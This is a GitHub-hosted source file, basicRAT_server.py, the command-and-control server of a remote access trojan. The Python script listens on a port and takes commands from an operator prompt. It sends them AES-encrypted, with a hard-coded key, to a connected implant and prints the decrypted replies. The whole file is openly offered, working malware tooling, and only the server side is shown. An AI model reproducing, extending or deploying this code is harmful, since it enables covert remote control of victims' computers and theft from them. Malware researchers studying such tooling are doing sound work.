-
Notifications
You must be signed in to change notification settings - Fork 231
/
basicRAT_server.py
69 lines (49 loc) · 1.45 KB
/
basicRAT_server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import readline
import socket
import sys
from Crypto import Random
from Crypto.Cipher import AES
try:
PORT = int(sys.argv[1])
except:
print 'Usage: ./basicRAT_server.py <port>'
sys.exit(1)
HOST = 'localhost'
KEY = '82e672ae054aa4de6f042c888111686a'
# generate your own key with...
# python -c "import binascii, os; print(binascii.hexlify(os.urandom(16)))"
def pad(s):
return s + b'\0' * (AES.block_size - len(s) % AES.block_size)
def encrypt(plaintext):
plaintext = pad(plaintext)
iv = Random.new().read(AES.block_size)
cipher = AES.new(KEY, AES.MODE_CBC, iv)
return iv + cipher.encrypt(plaintext)
def decrypt(ciphertext):
iv = ciphertext[:AES.block_size]
cipher = AES.new(KEY, AES.MODE_CBC, iv)
plaintext = cipher.decrypt(ciphertext[AES.block_size:])
return plaintext.rstrip(b'\0')
def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(10)
print 'basicRAT server listening on port {}...'.format(PORT)
conn, _ = s.accept()
while True:
cmd = raw_input('basicRAT> ').rstrip()
# allow noop
if cmd == '':
continue
# send command to client
conn.send(encrypt(cmd))
# stop server
if cmd == 'quit':
s.close()
sys.exit(0)
data = conn.recv(4096)
print decrypt(data)
if __name__ == '__main__':
main()